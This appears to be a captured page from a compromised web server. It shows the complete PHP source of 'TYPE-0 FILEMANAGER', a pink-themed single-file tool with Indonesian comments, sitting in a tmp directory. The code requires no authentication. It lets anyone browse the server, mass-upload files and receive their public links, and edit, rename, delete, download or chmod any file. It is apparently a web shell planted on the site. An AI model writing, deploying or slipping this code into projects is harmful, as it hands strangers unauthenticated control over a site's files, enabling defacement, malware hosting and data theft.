TYPE-0
FILEMANAGER
UP LEVEL
HOME
EXIT
Current Directory:
tmp
/
EDIT: phpsrc_6986c58e45b313.83273005.php
<?php /* TYPE-0 FILEMANAGER Single File Simple PHP File Manager Theme: Pink Elegant Dark Mode */ session_start(); error_reporting(0); // Matikan error report agar rapi (hidupkan jika debugging) // --- KONFIGURASI SEDERHANA --- $root_path = $_SERVER['DOCUMENT_ROOT']; // Batas akses (bisa diubah ke getcwd()) $self = basename($_SERVER['PHP_SELF']); // --- FUNGSI HELPER (ENCRYPTION & UTILS) --- function encodePath($path) { return urlencode(base64_encode($path)); } function decodePath($path) { return base64_decode(urldecode($path)); } function sizeFormat($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; elseif ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; elseif ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; elseif ($bytes > 1) return $bytes . ' bytes'; elseif ($bytes == 1) return $bytes . ' byte'; else return '0 bytes'; } function getPerms($file) { return substr(sprintf('%o', fileperms($file)), -4); } // --- LOGIC DIRECTORY --- if (isset($_GET['dir'])) { $dir = decodePath($_GET['dir']); if (!is_dir($dir)) $dir = getcwd(); } else { $dir = getcwd(); } // Normalisasi path agar tidak error di Windows/Linux $dir = str_replace('\\', '/', realpath($dir)); $dir_encoded = encodePath($dir); // --- HANDLER ACTION (POST & GET) --- $msg = ""; // 1. UPLOAD FILE (MODIFIED: MASSIVE UPLOAD & URL GENERATOR) if (isset($_FILES['upload_file'])) { // Cek apakah upload multiple atau single (structure array PHP files berbeda) $files = $_FILES['upload_file']; $count = is_array($files['name']) ? count($files['name']) : 1; $success_links = []; // Deteksi protokol dan host untuk URL $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? "https" : "http"; $host = $_SERVER['HTTP_HOST']; $doc_root = str_replace('\\', '/', realpath($_SERVER['DOCUMENT_ROOT'])); for ($i = 0; $i < $count; $i++) { $name = is_array($files['name']) ? $files['name'][$i] : $files['name']; $tmp = is_array($files['tmp_name']) ? $files['tmp_name'][$i] : $files['tmp_name']; if (!empty($name)) { $target_file = $dir . '/' . basename($name); if (move_uploaded_file($tmp, $target_file)) { // Generate URL Publik // Menghapus Document Root dari Path File Asli $web_path = str_replace($doc_root, '', $target_file); $full_url = $protocol . "://" . $host . $web_path; $success_links[] = "uploaded : <a href='$full_url' target='_blank' style='color:#00ffbf;'>$host$web_path</a>"; } } } if (count($success_links) > 0) { $msg = "Upload Success:<br>" . implode("<br>", $success_links); } else { $msg = "Upload failed, no file choosed."; } } // 2. BUAT FILE BARU if (isset($_POST['new_file_name']) && !empty($_POST['new_file_name'])) { $newfile = $dir . '/' . $_POST['new_file_name']; if (!file_exists($newfile)) { file_put_contents($newfile, ""); $msg = "File baru berhasil dibuat."; } } // 3. BUAT FOLDER BARU if (isset($_POST['new_dir_name']) && !empty($_POST['new_dir_name'])) { $newdir = $dir . '/' . $_POST['new_dir_name']; if (!is_dir($newdir)) { mkdir($newdir); $msg = "Folder berhasil dibuat."; } } // 4. ACTION HANDLERS (DELETE, RENAME, CHMOD, EDIT SAVE) if (isset($_GET['action']) && isset($_GET['item'])) { $item = decodePath($_GET['item']); $item_name = basename($item); // DOWNLOAD if ($_GET['action'] == 'download') { if (file_exists($item)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($item).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($item)); readfile($item); exit; } } // DELETE if ($_GET['action'] == 'delete') { if (is_dir($item)) { rmdir($item); } else { unlink($item); } header("Location: ?dir=".$dir_encoded); exit; } // SAVE EDIT (MODIFIED: STAY ON EDIT PAGE) if ($_GET['action'] == 'save_edit' && isset($_POST['content'])) { file_put_contents($item, $_POST['content']); // Redirect kembali ke action=edit, bukan ke list directory $redirect_url = "?dir=" . $dir_encoded . "&action=edit&item=" . $_GET['item'] . "&msg=saved"; header("Location: " . $redirect_url); exit; } // PROCESS RENAME if (isset($_POST['do_rename'])) { $new_name = $dir . '/' . $_POST['rename_to']; rename($item, $new_name); header("Location: ?dir=".$dir_encoded); exit; } // PROCESS CHMOD if (isset($_POST['do_chmod'])) { $mode = octdec($_POST['chmod_to']); chmod($item, $mode); header("Location: ?dir=".$dir_encoded); exit; } } // --- SCAN DIRECTORY --- $scanned = scandir($dir); $folders = []; $files = []; foreach ($scanned as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . '/' . $item; if (is_dir($path)) { $folders[] = $item; } else { $files[] = $item; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>TYPE-0 FILEMANAGER</title> <style> :root { --bg-dark: #121212; --bg-panel: #1e1e1e; --primary-pink: #ff007f; /* TYPE-0 Pink */ --soft-pink: #ff66b2; --text-main: #e0e0e0; --text-muted: #a0a0a0; --border: #333; } body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background-color: var(--bg-dark); color: var(--text-main); margin: 0; padding: 20px; font-size: 14px; } a { text-decoration: none; color: var(--soft-pink); transition: 0.3s; } a:hover { color: var(--primary-pink); text-shadow: 0 0 5px var(--primary-pink); } .container { max-width: 1200px; margin: 0 auto; background: var(--bg-panel); padding: 20px; border-radius: 8px; box-shadow: 0 0 20px rgba(255, 0, 127, 0.1); /* Pink Glow */ border: 1px solid #333; } .header { display: flex; justify-content: space-between; align-items: center; border-bottom: 2px solid var(--primary-pink); padding-bottom: 15px; margin-bottom: 20px; } .header h1 { margin: 0; font-size: 24px; color: var(--primary-pink); letter-spacing: 2px; } .breadcrumb { background: #252525; padding: 10px; border-radius: 4px; margin-bottom: 20px; word-break: break-all; color: var(--text-muted); } .breadcrumb a { font-weight: bold; } .toolbar { display: flex; flex-wrap: wrap; gap: 10px; margin-bottom: 20px; background: #252525; padding: 10px; border-radius: 4px; } input[type="text"], input[type="file"], textarea { background: #333; border: 1px solid #444; color: #fff; padding: 8px; border-radius: 4px; outline: none; } input[type="text"]:focus, textarea:focus { border-color: var(--primary-pink); } button, .btn { background: var(--primary-pink); color: #fff; border: none; padding: 8px 15px; border-radius: 4px; cursor: pointer; font-size: 12px; text-transform: uppercase; font-weight: bold; } button:hover, .btn:hover { background: #d6006b; } .btn-small { padding: 4px 8px; font-size: 10px; margin-right: 2px; } .btn-del { background: #d32f2f; } .btn-del:hover { background: #b71c1c; } table { width: 100%; border-collapse: collapse; margin-top: 10px; } th, td { text-align: left; padding: 12px; border-bottom: 1px solid #333; } th { color: var(--soft-pink); font-size: 12px; text-transform: uppercase; } tr:hover { background: #2a2a2a; } .icon { width: 20px; text-align: center; display: inline-block; margin-right: 5px; } /* Mobile Responsive */ @media (max-width: 768px) { .header { flex-direction: column; text-align: center; gap: 10px; } .toolbar { flex-direction: column; } th:nth-child(3), td:nth-child(3), /* Size */ th:nth-child(4), td:nth-child(4) /* Perms */ { display: none; } .actions { text-align: right; } } .editor-area { width: 100%; height: 400px; font-family: monospace; } .alert { background: rgba(255,0,127,0.2); padding: 10px; border-radius: 4px; margin-bottom: 10px; border-left: 4px solid var(--primary-pink); } </style> </head> <body> <div class="container"> <div class="header"> <h1>TYPE-0 <span style="color:#fff; font-size:16px;">FILEMANAGER</span></h1> <div> <a href="?dir=<?php echo encodePath(dirname($dir)); ?>" class="btn">UP LEVEL</a> <a href="?dir=<?php echo encodePath($root_path); ?>" class="btn">HOME</a> <a href="?logout" class="btn btn-del">EXIT</a> </div> </div> <?php // Pesan dari variabel $msg (upload dll) if(!empty($msg)) echo "<div class='alert'>$msg</div>"; // Pesan dari URL (edit saved) if(isset($_GET['msg']) && $_GET['msg'] == 'saved') echo "<div class='alert'>File changes saved successfully.</div>"; ?> <div class="breadcrumb"> Current Directory: <?php $path_parts = explode('/', $dir); $build_path = ''; foreach ($path_parts as $part) { if ($part == '') continue; // Skip empty (linux root handling) $build_path .= '/' . $part; // Fix double slashes for root if(substr($dir, 0, 1) != '/') $build_path = ltrim($build_path, '/'); // Link echo '<a href="?dir=' . encodePath($build_path) . '">' . $part . '</a> / '; } ?> </div> <?php if (isset($_GET['action']) && $_GET['action'] == 'edit'): $file_to_edit = decodePath($_GET['item']); $content = file_get_contents($file_to_edit); ?> <h3>EDIT: <?php echo basename($file_to_edit); ?></h3> <form method="post" action="?dir=<?php echo $dir_encoded; ?>&action=save_edit&item=<?php echo $_GET['item']; ?>"> <textarea name="content" class="editor-area"><?php echo htmlspecialchars($content); ?></textarea> <br><br> <button type="submit">SAVE CHANGES</button> <a href="?dir=<?php echo $dir_encoded; ?>" class="btn btn-del">BACK TO DIR</a> </form> <?php elseif (isset($_GET['action']) && $_GET['action'] == 'rename'): $file_to_rename = decodePath($_GET['item']); ?> <h3>RENAME: <?php echo basename($file_to_rename); ?></h3> <form method="post" action="?dir=<?php echo $dir_encoded; ?>&action=rename&item=<?php echo $_GET['item']; ?>"> <input type="text" name="rename_to" value="<?php echo basename($file_to_rename); ?>" required> <button type="submit" name="do_rename">RENAME</button> <a href="?dir=<?php echo $dir_encoded; ?>" class="btn btn-del">CANCEL</a> </form> <?php elseif (isset($_GET['action']) && $_GET['action'] == 'chmod'): $file_to_chmod = decodePath($_GET['item']); ?> <h3>CHMOD: <?php echo basename($file_to_chmod); ?></h3> <form method="post" action="?dir=<?php echo $dir_encoded; ?>&action=chmod&item=<?php echo $_GET['item']; ?>"> <input type="text" name="chmod_to" value="<?php echo getPerms($file_to_chmod); ?>" required> <small>(e.g., 0777, 0644)</small> <button type="submit" name="do_chmod">CHANGE PERMISSION</button> <a href="?dir=<?php echo $dir_encoded; ?>" class="btn btn-del">CANCEL</a> </form> <?php else: ?> <div class="toolbar"> <form method="post" enctype="multipart/form-data" style="display:inline-block;"> <input type="file" name="upload_file[]" multiple> <button type="submit">UPLOAD FILES</button> </form> <form method="post" style="display:inline-block;"> <input type="text" name="new_file_name" placeholder="New Filename.txt"> <button type="submit" class="btn-small">NEW FILE</button> </form> <form method="post" style="display:inline-block;"> <input type="text" name="new_dir_name" placeholder="New Folder Name"> <button type="submit" class="btn-small">NEW DIR</button> </form> </div> <table> <thead> <tr> <th width="40%">Name</th> <th width="15%">Type</th> <th width="10%">Size</th> <th width="10%">Perms</th> <th width="25%">Actions</th> </tr> </thead> <tbody> <?php foreach($folders as $f): $full = $dir . '/' . $f; $enc = encodePath($full); ?> <tr> <td> <span class="icon">📁</span> <a href="?dir=<?php echo $enc; ?>"><?php echo $f; ?></a> </td> <td>DIR</td> <td>-</td> <td><?php echo getPerms($full); ?></td> <td class="actions"> <a href="?dir=<?php echo $dir_encoded; ?>&action=rename&item=<?php echo $enc; ?>" class="btn btn-small">REN</a> <a href="?dir=<?php echo $dir_encoded; ?>&action=chmod&item=<?php echo $enc; ?>" class="btn btn-small">MOD</a> <a href="?dir=<?php echo $dir_encoded; ?>&action=delete&item=<?php echo $enc; ?>" class="btn btn-small btn-del" onclick="return confirm('Delete folder?');">DEL</a> </td> </tr> <?php endforeach; ?> <?php foreach($files as $f): $full = $dir . '/' . $f; $enc = encodePath($full); ?> <tr> <td> <span class="icon">📄</span> <?php echo $f; ?> </td> <td>FILE</td> <td><?php echo sizeFormat(filesize($full)); ?></td> <td><?php echo getPerms($full); ?></td> <td class="actions"> <a href="?dir=<?php echo $dir_encoded; ?>&action=edit&item=<?php echo $enc; ?>" class="btn btn-small">EDIT</a> <a href="?dir=<?php echo $dir_encoded; ?>&action=rename&item=<?php echo $enc; ?>" class="btn btn-small">REN</a> <a href="?dir=<?php echo $dir_encoded; ?>&action=download&item=<?php echo $enc; ?>" class="btn btn-small">DL</a> <a href="?dir=<?php echo $dir_encoded; ?>&action=delete&item=<?php echo $enc; ?>" class="btn btn-small btn-del" onclick="return confirm('Delete file?');">DEL</a> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> <div style="margin-top:20px; text-align:center; font-size:12px; color:#555;"> TYPE-0 MANAGER © <?php echo date("Y"); ?> | <span style="color:var(--primary-pink)">System Ready</span> </div> </div> </body> </html>
SAVE CHANGES
BACK TO DIR
TYPE-0 MANAGER © 2026 |
System Ready